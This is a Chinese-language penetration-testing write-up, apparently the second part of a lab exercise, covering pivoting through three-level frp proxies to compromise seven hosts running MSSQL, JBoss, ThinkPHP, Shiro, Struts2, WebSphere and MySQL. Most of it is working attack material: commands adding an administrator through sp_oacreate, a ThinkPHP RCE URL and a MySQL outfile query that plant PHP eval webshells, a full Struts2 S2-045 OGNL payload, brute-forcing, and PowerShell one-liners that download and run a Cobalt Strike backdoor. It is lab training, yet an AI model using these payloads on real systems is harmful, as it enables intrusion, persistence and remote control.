承接文章《内网+服务攻防实战模拟(上)》的内容,下篇主要是独立域方向的七台应用服务主机,分别安装了MSSQL、JBoss、ThinkPHP等服务应用程序,通过二级、三级代理一一拿下~~

八、独立域 | MSSQL

MSSQL渗透提权 | 10.12.10.3

1、建立frp二级代理(独立域方向)

各个配置文件内容如下

##子域控
# frpc.ini
[common]
server_addr = 10.10.10.101
server_port = 12002
[http_proxy]
type = tcp
remote_port = 1092
plugin = socks5

##Web服务器
# frps.ini
[common]
bind_addr = 10.10.10.101
bind_port = 12002

# frpc.ini
[common]
server_addr = 121.xx.xx.xx
server_port = 12002
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1092
remote_port = 1092

## 公网服务器
# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 12002

执行顺序:

1. Web服务器
frps.exe -c frps.ini
2. 域控
frpc.exe -c frpc.ini

3. 公网服务器
frps.exe -c frps.ini
4. Web服务器
frpc.exe -c frpc.ini

2、信息收集

独立域IP: 10.12.10.3
主机名: WIN-LOH5RS7UNDP
域名:DUULI.com

1433/tcp open   ms-sql-s   Microsoft SQL Server 2008 R2 10.50.4000; SP2

使用nmap进行端口扫描

proxychains nmap -sT -sV -Pn -n -p 8080,3306,80,3389,1433 10.12.10.3

2HEZrV.png

使用fscan扫描的同时顺便爆出了MSSQL的登陆密码弱口令admin@123

2HEiCj.png

3、MSSQL渗透 | sp_oacreate提权

之前的文章中介绍了xp_cmdshell提权,这里详细记录下sp_oacreate提权

1)通过Proxifier连接二级代理,远程登陆上数据库

2HEAvq.png

2)使用sp_oacreate系统存储过程提权

查看sp_oacreate状态

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';

开启Ole Automation Procedures选项 当启用 OLE Automation Procedures 时,对 sp_oacreate 的调用将会启动 OLE 共享执行环境。

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;

2HEVK0.png

3)执行system命令

创建用户sqltest,密码为123.com

declare @shell int exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user sqltest 123.com /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators sqltest /add';

4、Wmiexec远程登陆

Windows命令:
wmiexec.exe sqltest:123.com@10.12.10.3
Linux命令:
proxychains python3 wmiexec.py sqltest:123.com@10.12.10.3

成功登陆,说明通过sp_oacreate存储过程创建用户成功!

5、上线CS

在子域控上创建中转监听器zhongzhuan2,生成木马文件zz2.exe

2HEk2n.png

通过wmiexec.py登陆上sqltest用户,上传木马文件并执行

2HEF8s.png

上线成功~

6、独立域信息收集

本机信息:
主机名: WIN-LOH5RS7UNDP
域名: duuli.com
IP:
10.12.10.3
20.20.20.10

20.20.20.0/24网段信息:

Cscan.exe:
20.20.20.102 WIN-AMJ9T9TL123  [Win 2016 Standard 14393]
20.20.20.103 WIN-AMJ9T9TL123  [Win 2016 Standard 14393]
20.20.20.105 WIN-AMJ9T9TL123  [Win 2016 Standard 14393]
20.20.20.104 WIN-AMJ9T9TL123  [Win 2016 Standard 14393]
20.20.20.101 WIN-AMJ9T9TL123  [Win 2016 Standard 14393]
20.20.20.10 MS17-010 WIN-LOH5RS7UNDP duuli.com [Win 2008 HPC Edition 7601 SP 1]
20.20.20.199 MS17-010 CAIWU duuli.com [Win 7 Professional 7601 SP 1]

nbtscan:
20.20.20.10     DUULI\WIN-LOH5RS7UNDP            SHARING DC     本机
20.20.20.101    WORKGROUP\WIN-AMJ9T9TL123       SHARING
8080/tcp  open   http          Apache Tomcat 8.5.65
20.20.20.102    -no name-                      
80/tcp    open   http   Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
3306/tcp  open   mysql  MySQL (unauthorized)
20.20.20.103    -no name-
8080/tcp  open   http          Apache Tomcat 8.5.65
20.20.20.104    -no name-
8080/tcp  open   http          Apache Tomcat 8.5.65
20.20.20.105    -no name-                      
9060
9080
9043
20.20.20.199    DUULI\CAIWU                      SHARING
80
3306


九、独立域主机1 | JBoss

JMX Console未授权访问漏洞 | 20.20.20.101

1、搭建frp三级代理(独立域方向)

相关配置ini文件内容如下,共有6个文件

##独立域
# frpc.ini
[common]
server_addr = 10.12.10.5
server_port = 12003
[http_proxy]
type = tcp
remote_port = 1094
plugin = socks5

##子域控
# frps.ini
[common]
bind_addr = 10.12.10.5
bind_port = 12003

# frpc.ini
[common]
server_addr = 10.10.10.101
server_port = 12003
[http_proxy]
type = tcp
local_ip = 10.12.10.5
local_port = 1094
remote_port = 1094

##Web服务器
# frps.ini
[common]
bind_addr = 10.10.10.101
bind_port = 12003

# frpc.ini
[common]
server_addr = 121.xx.xx.xx
server_port = 12003
[http_proxy]
type = tcp
local_ip = 10.10.10.101
local_port = 1094
remote_port = 1094

## 公网服务器
# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 12003

按照下面的执行顺序依次进行,即可完成三级代理的搭建

1.子域控
frps.exe -c frps.ini
2. 独立域
frpc.exe -c frpc.ini

3. Web服务器
frps.exe -c frps.ini
4. 域控
frpc.exe -c frpc.ini

5. 公网服务器
frps.exe -c frps.ini
6. Web服务器
frpc.exe -c frpc.ini

2、信息收集

IP: 20.20.20.101
操作系统: Win 2016

使用railgun工具进行扫描,发现JBoss中间件 项目地址:https://github.com/lz520520/railgun

2HEJr6.png

3、JBoss渗透 | JMX Console未授权访问漏洞

1)前往访问主页

http://20.20.20.101:8080/

2HEGKx.png

2)发现JMX Console未授权访问漏洞

前往MainDeployer页面部署war包

2HEQPJ.png

3)在20.20.20.199的页面上传小马war包

用于JBoss的远程下载部署

2HEuaF.png

4)远程下载本地部署

远程war包地址:

http://20.20.20.199/xigua.war

2HE12R.png

没报错表示部署成功,访问网址,小马成功部署

2HEK54.png

4、上线CS

备注:这里先打了20.20.20.102的主机,才在102主机上有zz3.exe后门文件

执行powershell命令上传CS后门文件zz3.exe并执行上线CS,该文件已提前上传至20.20.20.102/zz3.exe

powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.102/zz3.exe','zz3.exe');start-process zz3.exe

2HElG9.png


十、独立域主机2 | ThinkPHP

ThinkPHP5.x任意代码执行漏洞 | 20.20.20.102

1、信息收集

IP: 20.20.20.102
操作系统: Win 2016

通过代理使用nmap对独立域主机1进行扫描

proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,3389,1433,27017 20.20.20.102

在20.20.20.102扫出两个开放端口80和3306,而20.20.20.101未扫出常见端口,这里先对102进行渗透测试。

PORT      STATE  SERVICE       VERSION
80/tcp    open   http          Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
1433/tcp  closed ms-sql-s
3306/tcp  open   mysql         MySQL (unauthorized)
3389/tcp  closed ms-wbt-server
6379/tcp  closed redis
8080/tcp  closed http-proxy
27017/tcp closed mongod

代理访问http://20.20.20.102/

proxychains firefox

2HE2dS.png

发现是ThinkPHP 5框架

2、ThinkPHP5渗透

ThinkPHP5.x远程代码执行漏洞

1)验证是否存在ThinkPHP5.x远程代码执行漏洞

http://20.20.20.102/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

2HEgZ8.png

GG,有回显,说明是存在该远程代码执行漏洞

2)任意代码执行写入shell文件

http://20.20.20.102/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell008.php&vars[1][]=%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%32%33%5d%29%3b%3f%3e

参数部分要用URL编码

2HEysP.png

返回了数值表示代码执行ok

2HEDxI.png

3、蚁剑连接拿shell

url地址	 http://20.20.20.102/shell008.php
连接密码	123

2HEsMt.png

4、上线CS

在20.20.20.10主机上创建监听器zhongzhuan3

2HE6qf.png

生成后门木马文件zz3.exe。通过蚁剑上传zz3.exe文件,进入虚拟终端执行该文件。

2HERIg.png

上线成功~~

十一、独立域主机3 | Shiro

shiro不出网攻击 | 20.20.20.103 | Win 2016

1、信息收集

IP: 20.20.20.103
操作系统: Win 2016

nmap扫描端口

proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,3389,1433,27017 20.20.20.103

在20.20.20.103扫出8080端口,且显示为apache中间件。

PORT      STATE  SERVICE       VERSION
80/tcp    closed http
1433/tcp  closed ms-sql-s
3306/tcp  closed mysql
3389/tcp  closed ms-wbt-server
6379/tcp  closed redis
8080/tcp  open   http          Apache Tomcat 8.5.65
27017/tcp closed mongod

访问网址http://20.20.20.103:8080,经典页面~

2HVpsx.png

测试发现是shiro框架

2HExzR.png

2、Shiro框架渗透

Shiro反序列化漏洞550

1)shiro框架指纹

对于一般情况下,并不会出现上图的页面,而是直接一个登陆框。这时可以通过BurpSuite进行抓包分析

在请求包中数据添加Cookie: rememberMe=1

响应包中存在set-Cookie: rememberMe=deleteMe数据则说明当前网页是shiro框架搭建而成的

2)使用shiro不出网攻击 | Shiro反序列化漏洞550

直接使用工具shiro-1.2.4_rce.py跑Key,并得到一个无回显的shell

proxychains python3 shiro-1.2.4_rce.py http://20.20.20.103:8080/shiro/

2HVSQ1.png

3)在102主机上放置后门文件

虽然这工具执行命令后无回显,但是可以通过powershell下载木马文件并执行。在这里103可以访问同网段的其他服务器(如20.20.20.102,是刚刚拿下的一台ThinkPHP主机),所以一种思路就是将后门文件放置在同网段的其他主机上,通过访问进行下载。

2HV9L6.png

4)执行powershell命令下载后门文件并执行

powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.102/zz3.exe','zz3-round2.exe');start-process zz3-round2.exe

2HVeSA.png

3、上线CS

执行完上面的的powershell命令,成功上线CS

2HVmQI.png


十二、独立域主机4 | Struts2

S2-045漏洞 | Struts2 20.20.20.104

1、信息收集

IP: 20.20.20.104
操作系统: Win 2016

使用nmap扫描端口

proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,3389,1433,27017 20.20.20.104

PORT      STATE  SERVICE       VERSION
8080/tcp  open   http          Apache Tomcat 8.5.65

扫描出一个8080端口,访问发现是S2-045漏洞

2HVMef.png

2、Struts2框架渗透

S2-045漏洞

1)Burpsuite抓包

2)修改数据包

POST /S2-045/fileupload/doUpload.action HTTP/1.1
Host: 20.20.20.104:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='powershell -Command (new-object System.Net.WebClient).DownloadFile(\'http://20.20.20.102/zz3.exe\',\'zz3.exe\');start-process zz3.exe').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} boundary=---------------------------255663886332559909593529682920
Content-Length: 344
Origin: http://20.20.20.104:8080
Connection: close
Referer: http://20.20.20.104:8080/S2-045/fileupload/upload.action
Cookie: JSESSIONID=7B84132FC14F461D411AEBE4DA902C2AA
Upgrade-Insecure-Requests: 1

-----------------------------255663886332559909593529682920
Content-Disposition: form-data; name="upload"; filename=""
Content-Type: application/octet-stream


-----------------------------255663886332559909593529682920
Content-Disposition: form-data; name="caption"

aaa
-----------------------------255663886332559909593529682920--

发送包

3、上线CS

上面操作后,发现主机成功上线!

2HVQw8.png


十三、独立域主机5 | WebSphere

WebSphere | 20.20.20.105

1、信息收集

已知信息:

IP: 20.20.20.105
操作系统: Win 2016

使用railgun工具扫描端口信息,9060和9043是中间件WebSphere使用的端口

2HVrY4.png

2、WebSphere爆破后台登陆密码

1)端口含义

在安装WebSphere时,会要求提供端口号,其对应的意思如下

较为重要的端口信息:
	管理控制台端口      9060
	管理控制台安全端口	9043
	HTTP传输端口	   9080

2HVsfJ.png

2)访问9043登陆后台

2HVDkF.png

抓包跑密码跑出admin:admin@123

成功登陆进后台

2HV0TU.png

3、上传小马war包

1)生成小马文件

生成xigua.war文件

2HVUO0.png

2)上传该war包

在新应用程序的路径中选择xigua.war,点击下一步

2HVdmV.png

在步骤四中填写目录路径

2HVGWj.png

之后默认下一步,在最后一步中点击保存

2HVNyq.png

3)启动xigua.war包

在企业应用程序栏中选择xigua.war,点击启动

2HVYSs.png

4)访问小马

访问网址http://20.20.20.105:9080/xigua/xigua.jsp,可以看到小马成功上传

2HV8YQ.png

4、上线CS

使用powershell上传CS后门文件zz3.exe并执行上线CS,该文件已提前上传至20.20.20.102/zz3.exe

powershell (new-object System.Net.WebClient).DownloadFile('http://20.20.20.102/zz3.exe','zz3.exe');start-process zz3.exe

2HVtln.png

成功上线CS~


十四、财务域 | MySQL

MySQL Outfile写shell | 20.20.20.199 Win7

1、信息收集

IP: 20.20.20.199
操作系统: Win 7 Professional 7601 SP 1
主机名: CAIWU
域名: duuli.com

nmap获取端口信息

proxychains nmap -sT -sV -Pn -n -p 8080,3306,6379,80,3389,1433,27017 20.20.20.199

返回两个open端口80和3306

PORT      STATE  SERVICE       VERSION
80/tcp    open   http          Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
1433/tcp  closed ms-sql-s
3306/tcp  open   mysql         MySQL 5.5.53
3389/tcp  closed ms-wbt-server 
6379/tcp  closed redis
8080/tcp  closed http-proxy
27017/tcp closed mongod

访问80端口,发现是phpstudy。对3306端口进行渗透

2、MySQL 登陆密码爆破

1)使用MSF爆破

使用scanner/mysql/mysql_login模块,修改相关配置

PASS_FIEL	密码文件
RHOST		远程主机IP
USERNAME	登陆用户名root

2HVf0K.png

2)使用nmap爆破

proxychains nmap --script=mysql-brute -sT -Pn -p 3306 20.20.20.199

// 需在proxychain.conf配置文件中关闭proxy_dns选项

2HVIte.png

爆破成功后尝试登陆

proxychains mysql -uroot -proot -h20.20.20.199

注意点:这里进行爆破可以选择一小部分常见密码,不然连接次数过多会拒绝连接

2HV5kD.png

3、MySQL into outfile 写入 shell

1)判断是否允许写文件

show global variables like '%secure_file_priv%';

查看secure_file_priv选项值,含义如下

NULL	不允许导入或导出
/tmp	只允许在 /tmp 目录导入导出
空		不限制目录

2HVhTO.png

2)查看网页路径信息

在默认80端口的php探针页面可以查看到

2HVofH.png

3)写入shell文件

select '<?php @eval($_POST[123]);?>' into outfile 'C:/phpStudy/WWW/Kr1-shujuku.php';

2HVb6I.png

4、蚁剑连接shell

URL地址:	http://20.20.20.199/Kr1-shujuku.php
连接密码:  123

2HV7pd.png

5、上线CS

在蚁剑上传后门文件zz3.exe并执行

2HVH1A.png


十五、总结

这个靶场打了两遍,第一遍熟悉下环境,第二遍开始记录,其中也遇到不少问题,也对一些基础知识有了新的理解。最后稍微总结下涉及到的技术点、工具脚本使用。

涉及到的技术点:

  1. PHP一句话木马

  2. frp一、二、三级代理

  3. CVE-2020-1472 | 域控Hash置空漏洞

  4. MSSQL sp_oacreate提权

  5. JBoss JMX Console未授权访问漏洞

  6. JBoss admin Console 弱口令登陆后台

  7. powershell下载执行命令 powershell (new-object System.Net.WebClient).DownloadFile();start-process

  8. ThinkPHP5.x任意代码执行漏洞

  9. Shiro1.2.4反序列化漏洞

  10. Struts2 S2-045漏洞

  11. WebSphere 弱口令登陆后台

  12. MySQL Outfile写shell

  13. MySQL日志写shell

  14. MySQL 登陆密码爆破

  15. 基于域信任关系的跨域攻击


涉及工具、脚本:

  1. 蚁剑

  2. Cobalt Strike

  3. nbtscan、Cscan、fscan

  4. frp

  5. proxychains

  6. proxifier

  7. nmap

  8. mimikatz

  9. reinstall_original_pw.py(域控Hash恢复脚本)
    项目地址:https://github.com/risksense/zerologon

  10. Wmiexec

  11. railgun

  12. shiro-1.2.4_rce.py
    项目地址:https://github.com/zhzyker/shiro-1.2.4-rce

  13. BurpSuite

  14. MSF

  15. jexboss.py
    项目地址:https://github.com/joaomatosf/jexboss


本文作者:Kr1pt0